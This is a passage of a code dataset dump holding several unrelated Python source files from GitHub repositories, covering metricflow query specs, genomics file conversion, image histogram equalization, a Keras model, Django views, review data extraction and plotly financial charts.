time_dimension_specs.append(time_dimension_spec)\n            for entity_spec in spec_set.entity_specs:\n                if entity_spec not in entity_specs:\n                    entity_specs.append(entity_spec)\n\n        return LinkableSpecSet(\n            dimension_specs=tuple(dimension_specs),\n            time_dimension_specs=tuple(time_dimension_specs),\n            entity_specs=tuple(entity_specs),\n        )\n\n    def is_subset_of(self, other_set: LinkableSpecSet) -> bool:  # noqa: D\n        return set(self.as_tuple).issubset(set(other_set.as_tuple))\n\n    @property\n    def as_spec_set(self) -> InstanceSpecSet:  # noqa: D\n        return InstanceSpecSet(\n            dimension_specs=self.dimension_specs,\n            time_dimension_specs=self.time_dimension_specs,\n            entity_specs=self.entity_specs,\n        )\n\n    def difference(self, other: LinkableSpecSet) -> LinkableSpecSet:  # noqa: D\n        return LinkableSpecSet(\n            dimension_specs=tuple(set(self.dimension_specs) - set(other.dimension_specs)),\n            time_dimension_specs=tuple(set(self.time_dimension_specs) - set(other.time_dimension_specs)),\n            entity_specs=tuple(set(self.entity_specs) - set(other.entity_specs)),\n        )\n\n    def __len__(self) -> int:  # noqa: D\n        return len(self.dimension_specs) + len(self.time_dimension_specs) + len(self.entity_specs)\n\n\n@dataclass(frozen=True)\nclass MetricFlowQuerySpec(SerializableDataclass):\n    \"\"\"Specs needed for running a query.\"\"\"\n\n    metric_specs: Tuple[MetricSpec, ...] = ()\n    dimension_specs: Tuple[DimensionSpec, ...] = ()\n    entity_specs: Tuple[EntitySpec, ...] = ()\n    time_dimension_specs: Tuple[TimeDimensionSpec, ...] = ()\n    order_by_specs: Tuple[OrderBySpec, ...] = ()\n    time_range_constraint: Optional[TimeRangeConstraint] = None\n    where_constraint: Optional[WhereFilterSpec] = None\n    limit: Optional[int] = None\n\n    @property\n    def linkable_specs(self) -> LinkableSpecSet:  # noqa: D\n        return LinkableSpecSet(\n            dimension_specs=self.dimension_specs,\n            time_dimension_specs=self.time_dimension_specs,\n            entity_specs=self.entity_specs,\n        )\n\n\nTransformOutputT = TypeVar(\"TransformOutputT\")\n\n\nclass InstanceSpecSetTransform(Generic[TransformOutputT], ABC):\n    \"\"\"Function to use for transforming spec sets.\"\"\"\n\n    @abstractmethod\n    def transform(self, spec_set: InstanceSpecSet) -> TransformOutputT:  # noqa: D\n        pass\n\n\n@dataclass(frozen=True)\nclass InstanceSpecSet(SerializableDataclass):\n    \"\"\"Consolidates all specs used in an instance set.\"\"\"\n\n    metric_specs: Tuple[MetricSpec, ...] = ()\n    measure_specs: Tuple[MeasureSpec, ...] = ()\n    dimension_specs: Tuple[DimensionSpec, ...] = ()\n    entity_specs: Tuple[EntitySpec, ...] = ()\n    time_dimension_specs: Tuple[TimeDimensionSpec, ...] = ()\n    metadata_specs: Tuple[MetadataSpec, ...] = ()\n\n    @staticmethod\n    def merge(others: Sequence[InstanceSpecSet]) -> InstanceSpecSet:\n        \"\"\"Merge all sets into one set, without de-duplication.\"\"\"\n        return InstanceSpecSet(\n            metric_specs=tuple(itertools.chain.from_iterable([x.metric_specs for x in others])),\n            measure_specs=tuple(itertools.chain.from_iterable([x.measure_specs for x in others])),\n            dimension_specs=tuple(itertools.chain.from_iterable([x.dimension_specs for x in others])),\n            entity_specs=tuple(itertools.chain.from_iterable([x.entity_specs for x in others])),\n            time_dimension_specs=tuple(itertools.chain.from_iterable([x.time_dimension_specs for x in others])),\n            metadata_specs=tuple(itertools.chain.from_iterable([x.metadata_specs for x in others])),\n        )\n\n    def dedupe(self) -> InstanceSpecSet:\n        \"\"\"De-duplicates repeated elements.\n\n        TBD: Have merge de-duplicate instead.\n        \"\"\"\n        metric_specs_deduped = []\n        for metric_spec in self.metric_specs:\n            if metric_spec not in metric_specs_deduped:\n                metric_specs_deduped.append(metric_spec)\n\n        measure_specs_deduped = []\n        for measure_spec in self.measure_specs:\n            if measure_spec not in measure_specs_deduped:\n                measure_specs_deduped.append(measure_spec)\n\n        dimension_specs_deduped = []\n        for dimension_spec in self.dimension_specs:\n            if dimension_spec not in dimension_specs_deduped:\n                dimension_specs_deduped.append(dimension_spec)\n\n        time_dimension_specs_deduped = []\n        for time_dimension_spec in self.time_dimension_specs:\n            if time_dimension_spec not in time_dimension_specs_deduped:\n                time_dimension_specs_deduped.append(time_dimension_spec)\n\n        entity_specs_deduped = []\n        for entity_spec in self.entity_specs:\n            if entity_spec not in entity_specs_deduped:\n                entity_specs_deduped.append(entity_spec)\n\n        return InstanceSpecSet(\n            metric_specs=tuple(metric_specs_deduped),\n            measure_specs=tuple(measure_specs_deduped),\n            dimension_specs=tuple(dimension_specs_deduped),\n            time_dimension_specs=tuple(time_dimension_specs_deduped),\n            entity_specs=tuple(entity_specs_deduped),\n        )\n\n    @property\n    def linkable_specs(self) -> Sequence[LinkableInstanceSpec]:\n        \"\"\"All linkable specs in this set.\"\"\"\n        return list(itertools.chain(self.dimension_specs, self.time_dimension_specs, self.entity_specs))\n\n    @property\n    def all_specs(self) -> Sequence[InstanceSpec]:  # noqa: D\n        return tuple(\n            itertools.chain(\n                self.measure_specs,\n                self.dimension_specs,\n                self.time_dimension_specs,\n                self.entity_specs,\n                self.metric_specs,\n                self.metadata_specs,\n            )\n        )\n\n    def transform(self, transform_function: InstanceSpecSetTransform[TransformOutputT]) -> TransformOutputT:  # noqa: D\n        return transform_function.transform(self)\n\n    @staticmethod\n    def create_from_linkable_specs(linkable_specs: Sequence[LinkableInstanceSpec]) -> InstanceSpecSet:  # noqa: D\n        return InstanceSpecSet.merge(tuple(x.as_linkable_spec_set.as_spec_set for x in linkable_specs))\n\n\n@dataclass(frozen=True)\nclass PartitionSpecSet(SerializableDataclass):\n    \"\"\"Grouping of the linkable specs.\"\"\"\n\n    dimension_specs: Tuple[DimensionSpec, ...] = ()\n    time_dimension_specs: Tuple[TimeDimensionSpec, ...] = ()\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass WhereFilterResolutionException(Exception):  # noqa: D\n    pass\n\n\n@dataclass(frozen=True)\nclass WhereFilterSpec(SerializableDataclass):\n    \"\"\"Similar to the WhereFilter, but with the where_sql_template rendered and used elements extracted.\n\n    For example:\n\n    WhereFilter(where_sql_template=\"{{ Dimension('listing__country') }} == 'US'\"))\n\n    ->\n\n    ResolvedWhereFilter(\n        where_sql=\"listing__country == 'US'\",\n        bind_parameters: SqlBindParameters(),\n        linkable_spec_set: LinkableSpecSet(\n            dimension_specs=(\n                DimensionSpec(\n                    element_name='country',\n                    entity_links=('listing',),\n            ),\n        )\n    )\n    \"\"\"\n\n    # Debating whether where_sql / bind_parameters belongs here. where_sql may become dialect specific if we introduce\n    # quoted identifiers later.\n    where_sql: str\n    bind_parameters: SqlBindParameters\n    linkable_spec_set: LinkableSpecSet\n\n    def combine(self, other: WhereFilterSpec) -> WhereFilterSpec:  # noqa: D\n        return WhereFilterSpec(\n            where_sql=f\"({self.where_sql}) AND ({other.where_sql})\",\n            bind_parameters=self.bind_parameters.combine(other.bind_parameters),\n            linkable_spec_set=LinkableSpecSet.merge([self.linkable_spec_set, other.linkable_spec_set]),\n        )\n","repo_name":"dbt-labs/metricflow","sub_path":"metricflow/specs/specs.py","file_name":"specs.py","file_ext":"py","file_size_in_byte":27670,"program_lang":"python","lang":"en","doc_type":"code","stars":984,"dataset":"github-code","pt":"60"}
+{"seq_id":"70534443071","text":"import sys\r\n\r\nfi=open(sys.argv[1])\r\nfo=open(sys.argv[1]+'.bed','w')\r\n\r\nBED={}\r\nCHR=['chr1','chr2','chr3','chr4','chr5','chr6','chr7','chr8','chr9',\r\n        'chr10','chr11','chr12','chr13','chr14','chr15','chr16','chr17','chr18',\r\n        'chr19','chr20','chr21','chrX','chrY']\r\nfor chrr in CHR:\r\n    BED[chrr]=[]\r\n\r\n\r\nFLAG='NA'\r\nfor line in fi:\r\n    if \"track\" in line:\r\n        if \"Gain\" in line:\r\n            FLAG='1'\r\n        elif 'Loss' in line:\r\n            FLAG='-1'\r\n        else:\r\n            FLAG='0'\r\n    else:\r\n        seq=line.rstrip().split('\\t')\r\n        if seq[0] in BED:\r\n\r\n            BED[seq[0]].append([int(seq[1]),int(seq[2]),seq[3],FLAG])\r\n\r\nfor chrr in BED:\r\n    BED[chrr].sort()\r\n    for one in BED[chrr]:\r\n        fo.write(chrr+'\\t'+str(one[0])+'\\t'+str(one[1])+'\\t'+one[2]+'\\t'+one[3]+'\\n')\r\n\r\n\r\n","repo_name":"jumphone/Bioinformatics","sub_path":"CNV/bg2bed.py","file_name":"bg2bed.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"34981100412","text":"#!/usr/bin/env python3\n\nimport matplotlib.pyplot as plt\nimport sys\nfrom pathlib import Path\nfrom PIL import Image\n\nimport cv2\nimport numpy as np\n\n\nclass Histogram:\n    def __init__(self, image_path):\n        self.image_path = image_path\n        self.pixels = cv2.imread(str(image_path))\n        self.width, self.height, _ = self.pixels.shape\n\n    @staticmethod\n    def display_histogram(title, *hists):\n        x_axis = range(255)\n        length = len(hists)\n        fig, plots = plt.subplots(length)\n        fig.suptitle(title)\n        for i, (hist, subtitle) in enumerate(hists):\n            plots[i].plot(x_axis, hist)\n            plots[i].set_title(subtitle)\n        plt.show()\n\n    def split_into_channels(self):\n        r = np.zeros((self.width, self.height), dtype=np.uint8)\n        g = r.copy().astype(np.uint8)\n        b = r.copy().astype(np.uint8)\n        for i in range(self.width):\n            for j in range(self.height):\n                b[i][j], g[i][j], r[i][j] = self.pixels[i][j]\n        return r, g, b\n\n    def create_histogram(self):\n        r, g, b = self.split_into_channels()\n        r_hist = np.zeros(255, dtype=np.uint64)\n        g_hist = r_hist.copy().astype(np.uint64)\n        b_hist = r_hist.copy().astype(np.uint64)\n\n        for channel, hist in [(r, r_hist), (g, g_hist), (b, b_hist)]:\n            for i in range(self.width):\n                for j in range(self.height):\n                    value = channel[i][j]\n                    hist[value] += 1\n\n        # self.display_histogram(\"Histogramas\", (r_hist, \"Red\"), (g_hist, \"Green\"), (b_hist, \"Blue\"))\n        return r_hist, g_hist, b_hist\n\n    def normalize_histogram(self):\n        r_hist, g_hist, b_hist = self.create_histogram()\n        total_pixels = self.width * self.height\n\n        r_acc = np.zeros(255, dtype=np.float64)\n        g_acc = r_acc.copy().astype(np.float64)\n        b_acc = r_acc.copy().astype(np.float64)\n\n        for hist, acc in [(r_hist, r_acc), (g_hist, g_acc), (b_hist, b_acc)]:\n            for i in range(255):\n                acc[i] = hist[i] / total_pixels\n\n        # self.display_histogram(\n        #     \"Histogramas normalizados\", (r_acc, \"Red\"), (g_acc, \"Green\"), (b_acc, \"Blue\")\n        # )\n        return r_acc, g_acc, b_acc\n\n    def accumulate_histogram(self):\n        r_hist, g_hist, b_hist = self.normalize_histogram()\n\n        r_acc = np.zeros(255, dtype=np.float64)\n        g_acc = r_acc.copy().astype(np.float64)\n        b_acc = r_acc.copy().astype(np.float64)\n\n        for hist, acc in [(r_hist, r_acc), (g_hist, g_acc), (b_hist, b_acc)]:\n            for i in range(255):\n                previous_index = max(i - 1, 0)\n                acc[i] = hist[i] + acc[previous_index]\n\n        # self.display_histogram(\n        #     \"Histogramas acumulados\", (r_acc, \"Red\"), (g_acc, \"Green\"), (b_acc, \"Blue\")\n        # )\n        return r_acc, g_acc, b_acc\n\n    def equalize_image(self):\n        r_acc, g_acc, b_acc = self.accumulate_histogram()\n\n        new_image = np.zeros((self.width, self.height, 3), dtype=np.uint8)\n        for i in range(self.width):\n            for j in range(self.height):\n                b, g, r = self.pixels[i][j]\n                new_pixel = (round(255 * r_acc[r]), round(255 * g_acc[g]), round(255 * b_acc[b]))\n                new_image[i][j] = new_pixel\n\n        output_path = Path(\"images\", f\"{self.image_path.stem}-equalized.jpg\")\n        output_path.parent.mkdir(exist_ok=True)\n        with Image.fromarray(new_image, \"RGB\") as image:\n            image.save(output_path)\n\n\ndef main():\n    if len(sys.argv) < 2:\n        print(\"Forneça um arquivo de entrada como argumento!\", file=sys.stderr)\n        sys.exit(1)\n\n    input_file = Path(sys.argv[1])\n    if not input_file.is_file():\n        print(f\"{input_file} não existe!\", file=sys.stderr)\n        sys.exit(1)\n\n    hist = Histogram(input_file)\n    hist.equalize_image()\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"OlavoNascimento/Computacao-Grafica","sub_path":"image-equalize/src/equalize.py","file_name":"equalize.py","file_ext":"py","file_size_in_byte":3907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39454201952","text":"import os,sys\nimport numpy as np\nfrom keras.models import Sequential, load_model, Input\nfrom keras.layers import Dense, LSTM\nfrom keras.callbacks import EarlyStopping\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom Day09.Keras39_split import split_X\nimport matplotlib.pyplot as plt\n\n#1 데이터\na = np.array(range(1,101))\nsize = 5                # time_steps= 5\n\n#데이터 자르기\n\ndataset = split_X(a,size)\nx_train = dataset[:,:-1]\ny_train = dataset[:,-1]\nprint(x_train)\n\nx_train = x_train.reshape(x_train.shape[0],x_train.shape[1],1)\n\nprint(x_train)\n\nmodel = load_model(\"./keras_prac/model/save_keras_45.h5\")\n\nmodel.add(Dense(50,activation='relu', name= 'new1'))\nmodel.add(Dense(10,activation='relu', name= 'new2'))\nmodel.add(Dense(10,activation='relu', name= 'new3'))\nmodel.add(Dense(1, name= 'new4'))\n\nmodel.summary()\n\nmodel.compile(optimizer='adam', loss = 'mse',  metrics=['acc'])\n\ne_stop = EarlyStopping(monitor='loss',patience=20,mode='auto')\nhist = model.fit(x_train,y_train, validation_split=0.2,\n                batch_size=1,epochs=100,\n                callbacks=[e_stop])\n\nplt.plot(hist.history['loss'])\nplt.plot(hist.history['acc'])\nplt.plot(hist.history['val_loss'])\nplt.plot(hist.history['val_acc'])\nplt.title('loss&acc')\nplt.ylabel('loss,acc')\nplt.xlabel('epoch')\nplt.legend(['loss','acc', 'val_loss', 'val_acc'])\nplt.show()\n'''\nmse = model.evaluate(x_train, y_train, batch_size=1)\n\nprint(\"MSE : \",mse)\nx_predict = np.array([10,11,12,13])\nx_predict = x_predict.reshape(1,4,1)\ny_predict = model.predict(x_predict,batch_size=1)\n\nprint(x_predict,y_predict)\n'''","repo_name":"raccoon2389/AI_prac","sub_path":"keras_prac/Day10/Keras46_hist.py","file_name":"Keras46_hist.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"73896179070","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, render_to_response\nimport os, traceback, sys\nfrom teachers.models import *\nimport json\nfrom load import loadTeacher\nfrom django.conf import settings\nfrom django.template import Library\nfrom django import template\nimport os\n\nregister = Library()\nregister.filter('media')\n\ndef index(request):\n\treturn render_to_response('base.html')\n\ndef metatest(request):\n\tvalues = request.META.items()\n\tvalues.sort()\n\thtml = []\n\tfor k,v in values:\n\t\t\thtml.append(\"<tr><td>%s</td><td>%s</td></tr>\"%(k,v))\n\treturn HttpResponse(\"<table>%s</table>\"%\"\\n\".join(html))\n\ndef search_form(request):\n\treturn render_to_response('search_form.html')\n\ndef search(request):\n\terror = False\n\tif 'school' in request.GET:\n\t\tquery = request.GET['school']\n\t\tif not query:\n\t\t\terror = False\n\t\t\treturn render_to_response('base.html',{'error': error})\n\t\telse:\n\t\t\tschools = School.objects.filter(name__icontains=query)\n\t\t\tif not schools:\n\t\t\t\terror = True\n\t\t\t\treturn render_to_response('base.html',{'error': error})\n\t\t\telse:\n\t\t\t\treturn render_to_response('base_search.html',{'schools':schools, 'query':query, 'error': error})\n\telse:\n\t\treturn render_to_response('base.html',{'error': error})\n\n\ndef teacher(request, dbn, teacher_id):\n\tteacher = Teachers.objects.get(id=teacher_id)\n\tschool = School.objects.get(dbn=dbn)\n\treturn render_to_response('base_teacher.html',{'teacher': teacher, 'school': school})\n\ndef school(request, dbn):\n\terror = False\n\tschool = School.objects.get(dbn=dbn)\n\ttry:\n\t\tteachers = Teachers.objects.filter(dbn=school)\n\texcept:\n\t\terror = True\n\n\tif not teachers:\n\t\terror = True\n\n\treturn render_to_response('base_school.html', {'school': school, 'teachers':teachers, 'error': error})\n\ndef load(request):\n\tloadTeacher(os.getcwd()+'/teachers/teachers_matched.csv')\n\tloadhtml = \"<html><body>LOAD SUCCESFUL!</body></html>\"\n\treturn HttpResponse(loadhtml)\n\ndef drop(request):\n\tTeachers.objects.all().delete()\n\tSchool.objects.all().delete()\n\tCity.objects.all().delete()\n\tBorough.objects.all().delete()\n\tDistrict.objects.all().delete()\n\t\n\tloadhtml = \"<html><body>DROP SUCCESSFUL!</body></html>\"\n\treturn HttpResponse(loadhtml)\n\n\n@register.filter\ndef media(file):\n    '''\n    Concatenate MEDIA_URL and file.\n    '''\n\n    return settings.BASE_URL + file\n","repo_name":"iamjarret/nycteachereval","sub_path":"teachers/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6879534070","text":"import numpy as np\nfrom typing import List\nfrom matplotlib import pyplot as plt\nimport matplotlib.gridspec as gridspec\n\n\n# 预测结果图片存储\ndef save_matshow(img_path: str, figData: np.array, vmin=None, vmax=None):\n    plt.clf()\n    plt.matshow(figData, fignum=0, vmin=vmin, vmax=vmax)\n    plt.colorbar()\n    plt.savefig(img_path)\n\n\n# 通用函数\ndef plot_figs(inputList: List, pauseTime=-1, savePath: str = \"\"):\n    plt.clf()\n    size = len(inputList)\n    m = int(np.ceil(np.sqrt(size)))\n    n = int(np.ceil(size / m))\n    gs = gridspec.GridSpec(n, m)  # 2x2网格\n\n    width = 4 * m\n    height = 4 * n\n    plt.gcf().set_size_inches(width, height)\n    for index, input in enumerate(inputList):\n        args, kwargs = input\n        plotType = kwargs[\"plotType\"]\n        title = kwargs[\"title\"]\n        kwargs = filterKwargs(kwargs, [\"title\", \"plotType\"])\n        if plotType == \"plot\":\n            ax = plt.subplot(gs[index // m, index % m])\n            ax.set_title(title)\n            ax.plot(*args, **kwargs)\n        elif plotType == \"matshow\":\n            ax = plt.subplot(gs[index // m, index % m])\n            ax.set_title(title)\n            cax = ax.matshow(**kwargs)\n            plt.colorbar(cax, ax=ax)\n    plt.tight_layout()\n    if pauseTime == -1:\n        plt.show()\n    elif pauseTime > 0:\n        plt.pause(pauseTime)\n    elif pauseTime == -2 and savePath != \"\":\n        plt.savefig(savePath)\n    else:\n        return\n\n\n# plot参数构建\ndef makePlotArgs(*args, **kwargs):\n    return args, kwargs\n\n\n# plot参数过滤\ndef filterKwargs(kwargs, filterKeyList: List[str]):\n    return {key: value for key, value in kwargs.items() if key not in filterKeyList}\n\n\n\"\"\"预测结果\"\"\"\n\n\ndef predictPlot(p, vx, vy, loss_p, loss_vx, loss_vy, pauseTime=-1, savePath: str = \"\"):\n    plot_list = []\n    plot_list.append(\n        makePlotArgs(\n            Z=p,\n            vmin=-1.0,\n            vmax=1.0,\n            title=\"p\",\n            plotType=\"matshow\",\n            cmap=\"RdBu_r\",\n        )\n    )\n    plot_list.append(\n        makePlotArgs(\n            Z=vx,\n            vmin=-1.0,\n            vmax=1.0,\n            title=\"vx\",\n            plotType=\"matshow\",\n            cmap=\"RdBu_r\",\n        )\n    )\n    plot_list.append(\n        makePlotArgs(\n            Z=vy,\n            vmin=-1.0,\n            vmax=1.0,\n            title=\"vy\",\n            plotType=\"matshow\",\n            cmap=\"RdBu_r\",\n        )\n    )\n    plot_list.append(\n        makePlotArgs(\n            Z=loss_p, title=\"loss p\", plotType=\"matshow\", cmap=\"RdBu_r\", origin=\"lower\"\n        )\n    )\n    plot_list.append(\n        makePlotArgs(\n            Z=loss_vx, title=\"loss vx\", plotType=\"matshow\", cmap=\"RdBu_r\", origin=\"lower\"\n        )\n    )\n    plot_list.append(\n        makePlotArgs(\n            Z=loss_vy, title=\"loss vy\", plotType=\"matshow\", cmap=\"RdBu_r\", origin=\"lower\"\n        )\n    )\n    plot_figs(plot_list, pauseTime=pauseTime, savePath=savePath)\n\n\n\"\"\"\n测试函数\n\"\"\"\n\n\ndef test1():\n    import random\n\n    x = np.linspace(0, 10, 100)\n    y1 = np.sin(x)\n    y2 = np.cos(x)\n    y3 = x**2\n    y4 = np.exp(x)\n    v = np.ones((200, 200))\n    img_path = f\"./{ random.random()}test.eps\"\n\n    # 使用 gs[行, 列] 索引选择具体的网格位置\n    data1 = makePlotArgs(x, y1, title=\"sin(x)\", plotType=\"plot\")\n    data2 = makePlotArgs(x, y2, title=\"cos(x)\", plotType=\"plot\")\n    data3 = makePlotArgs(x, y3, title=\"x^2\", plotType=\"plot\")\n    data4 = makePlotArgs(Z=v, vmin=0.3, title=\"exp(x)\", plotType=\"matshow\")\n\n    if random.random() > 0.5:\n        plot_figs([data1, data2, data3, data4, data4], -2)\n    else:\n        plot_figs([data1, data4], -2)\n    plt.savefig(img_path)\n\n\nif __name__ == \"__main__\":\n    test1()\n    test1()\n","repo_name":"SaberXin9933/2D_WAVE_AI","sub_path":"train_code/utils/pltUtils.py","file_name":"pltUtils.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34785359942","text":"class Solution:\n    def lastStoneWeight(self, stones: List[int]) -> int:\n        while True:\n            stones = sorted(stones,reverse = True)\n            if len(stones) == 1:\n                return stones[0]\n            elif len(stones) == 0:\n                return 0\n            first = stones.pop(0)\n            sec = stones.pop(0)\n            if first == sec:\n                continue\n            else:\n                stones.append(first-sec)\n                print(stones)","repo_name":"Munirmohammed/code","sub_path":"last-stone-weight/last-stone-weight.py","file_name":"last-stone-weight.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"40409568993","text":"# -*- coding: utf-8 -*-\r\n\r\nimport networkx as nx\r\nimport pandas as pd\r\n\r\n#Other nodes connected by one node\r\nr=open('input_data/BC-related_RRI_network.txt')\r\nll=r.readlines()\r\nr.close()\r\nrna_pairs=[]\r\nnode_to_nodes={}\r\nfor l in ll:\r\n    ws=l.strip().split('\\t')\r\n    qx=sorted(ws[0:2])\r\n    rna_pairs.append((qx[0],qx[1]))\r\n    for i in [0,1]:\r\n        if i==0:\r\n            j=1\r\n        else:\r\n            j=0\r\n        if qx[i] not in node_to_nodes:\r\n            node_to_nodes[qx[i]]=[qx[j]]\r\n        else:\r\n            node_to_nodes[qx[i]].append(qx[j])\r\n\r\n#Dictionary of Node No.\r\nr=open('input_data/RRI_node.csv')\r\nr.readline()\r\nno2node={}\r\nfor l in r:\r\n    ws=l.strip().split(',')\r\n    no2node[ws[0]]='~'.join(ws[1:7])\r\nr.close()\r\n\r\n#Sort nodes by node degree\r\nnode_degree={}\r\nfor k in node_to_nodes:\r\n    node_degree[k]=len(node_to_nodes[k])\r\ndf=pd.DataFrame(node_degree,index=['Degree'])\r\ndf=df.sort_values(by='Degree',axis=1,ascending=False)\r\nnodes=df.columns.values\r\n\r\n#Compute the relative conectivity of subgraphs\r\nG=nx.Graph()\r\nnode_G=[]\r\nw=open('RC_in_BC-related_RRI_network.csv','w')\r\nw.write('Node,No.,Relative connectivity\\n')\r\nk=0\r\nlim=len(nodes)\r\nwhile k<lim:\r\n    node_key=nodes[k]\r\n    node_G.append(node_key)\r\n    G.add_node(node_key)#Add the node in subgraphs\r\n    for node in node_G:\r\n        if node in set(node_to_nodes[node_key]):\r\n            G.add_edge(node_key,node)#Add the edge in subgraphs\r\n    largest_components=max(nx.connected_components(G),key=len)\r\n    k+=1\r\n    w.write(no2node[node_key]+','+str(k)+','+str(len(largest_components)/float(len(node_G)))+'\\n')\r\nw.close()\r\n","repo_name":"doberse/RRI","sub_path":"relative_connectivity_of_subgraphs.py","file_name":"relative_connectivity_of_subgraphs.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"16352702535","text":"\"\"\"Preprocessing steps\"\"\"\nimport numpy as np\nfrom dateutil.parser import parse\nimport os\nimport ast\nfrom tqdm import tqdm\n\n\ndef extract_trustpilot(dpath, opath, utable_path):\n    utable = dict()\n\n    with open(opath, 'w') as wfile:\n        wfile.write('\\t'.join(\n            ['did', 'uid', 'text', 'date', 'gender', 'age', 'country', 'label']\n        ) + '\\n')\n        with open(dpath) as dfile:\n            for line in dfile:\n                # line = json.loads(line)\n                line = ast.literal_eval(line)\n                uid = str(line['user_id']).strip()\n                if len(uid) < 2:\n                    continue\n                if uid not in utable:\n                    utable[uid] = dict()\n                    utable[uid]['age'] = []\n\n                gender = line.get('gender', '')\n                if gender is None:\n                    gender = 'x'\n                gender = gender.strip().lower()\n                if len(gender) == 0:\n                    gender = 'x'\n                utable[uid]['gender'] = gender\n\n                age = line.get('birth_year', 'x')\n                if age is None:\n                    age = 'x'\n\n                if 'country' in line:\n                    country = line['country']\n                    if country is None:\n                        country = 'x'\n                    else:\n                        country = country.strip().split('_')\n                        country = [word.capitalize() for word in country]\n                        country = ' '.join(country)\n                else:\n                    country = line.get('location', 'x')\n                    if country is None:\n                        country = 'x'\n                    else:\n                        country = country.strip()\n                        if len(country) == 0:\n                            country = 'x'\n                        else:\n                            country = country.split()[-1]\n                utable[uid]['country'] = country\n\n                for idx, review in enumerate(line['reviews']):\n                    date = review.get('date', None)\n                    if date is None:\n                        continue\n                    date = parse(date)\n                    if age != 'x':\n                        age = int(age)\n                        cur_age = date.year - age\n                        utable[uid]['age'].append(cur_age)\n                        cur_age = str(cur_age)\n                    else:\n                        cur_age = 'x'\n                    date = date.strftime('%Y-%m-%d')\n\n                    text = ''.join(review['text'])\n                    text = text.strip().replace('\\t', '').replace('\\n', '')\n                    did = '{}_{}'.format(review['company_id'], idx)\n                    label = str(review['rating'])\n\n                    wfile.write('\\t'.join([\n                        did, uid, text, date, gender, cur_age, country, label\n                    ]) + '\\n')\n\n                utable[uid]['age'] = [int(item) for item in utable[uid]['age'] if item != 'x']\n                if len(utable[uid]['age']) == 0:\n                    utable[uid]['age'] = 'x'\n                else:\n                    utable[uid]['age'] = str(np.mean(utable[uid]['age']))\n\n    with open(utable_path, 'w') as wfile:\n        wfile.write('uid\\tgender\\tage\\tcountry\\n')\n        for uid in utable:\n            wfile.write('\\t'.join(\n                [uid, utable[uid]['gender'], utable[uid]['age'], utable[uid]['country']]\n            ) + '\\n')\n\n\ndata_dir = './review/trustpilot/'\nfor dpath in tqdm([fpath for fpath in os.listdir(data_dir) if fpath != '.DS_Store']):\n    dname = dpath.split('.')[0]\n    extract_trustpilot(\n        data_dir + dpath, '{}{}.tsv'.format(data_dir, dname), '{}/{}_utable.tsv'.format(data_dir, dname)\n    )\n","repo_name":"xiaoleihuang/DomainFairness","sub_path":"data/trustpilot_extractor.py","file_name":"trustpilot_extractor.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"21199515033","text":"####################################\n# DATA VIZ - CREATE CHARTS\n####################################\nimport plotly.express as px\nimport pandas as pd\n\ndef sun(df,period='1M'):\n    '''\n    Plot a sunburst of S&P Sector industry and stocks by Size=weight, Color=Perf\n    '''\n    color_cont=['red','white','green']\n    fig = px.sunburst(df,\n                      path= ['Sector', 'Sub-Industry','Security'], #key arg for plotly to create hierarchy based on tidy data\n                      values='Weight',\n                      color=period,\n                      color_continuous_scale=color_cont,\n                      color_continuous_midpoint=0,\n                      #range_color=[-0.5,0.5],\n                      #hover_name=period,\n                      hover_data={period:':.2%','Weight':':.2%'}\n                      )\n    fig.update_traces(marker=dict(size=8), selector=dict(mode='markers'))\n    fig.update_layout(margin=dict(l=20, r=20),\n                      title=f'S&P 500 Breakdown | sector & industry - {period}',\n                     height=600)\n    return fig\n\n\n\ndef scat_ind(df,period='1M'):\n    '''\n\n    '''\n    data = df.groupby(by=['Sub-Industry','Sector',],as_index=False).mean()\n    count = df.groupby(by=['Sub-Industry','Sector'],as_index=False).count()\n    data['Count'] = count.YTD\n    data = data.sort_values(by=period,ascending=False)\n\n\n    fig = px.scatter(data,\n                    x='Sub-Industry',\n                    y=period,\n                    color='Sector',\n                    size = 'Count',\n                    hover_name='Sub-Industry',\n                    color_discrete_sequence=px.colors.qualitative.Plotly,\n                    hover_data={period:':.2%', 'Count':':.0f' }\n                )\n    fig.update_traces(marker=dict(\n        line=dict(\n        width=0.5,\n        color='DarkSlateGrey')\n    ))\n    fig.update_layout(margin=dict(l=20, r=20),\n                      title=f'Industry EW returns - {period}',\n                     height=800,\n                     xaxis_title=None,\n                     yaxis_title=None\n                     )\n\n    fig.update_yaxes(tickformat='.0%')\n\n    return fig\n\n\ndef tree(df,period='1M'):\n    '''\n\n    '''\n    color_cont=['red','white','green']\n    fig = px.treemap(df,\n                     path= ['Sector','Sub-Industry','Security'], #key arg for plotly to create hierarchy based on tidy data\n                     values='Weight',\n                     color=period,\n                     color_continuous_scale=color_cont,\n                     color_continuous_midpoint=0,\n                     #range_color=[-0.5,0.5],\n                     hover_data={period:':.2%','Weight':':.2%'},\n                     title=''\n                 )\n\n    fig.update_layout(margin=dict(l=20, r=20),\n                     height=600,\n                     title=f'S&P 500 breakdown | Sector & industry - {period}'\n                     )\n    return fig\n\ndef bar_sec(df):\n    '''\n\n    '''\n    df = df.groupby(by='Sector').mean()\n    df= df.sort_values(by='YTD',ascending=False)\n\n    fig = px.bar(df,\n                 x=df.index,\n                 y=['1M','3M','YTD'],\n                 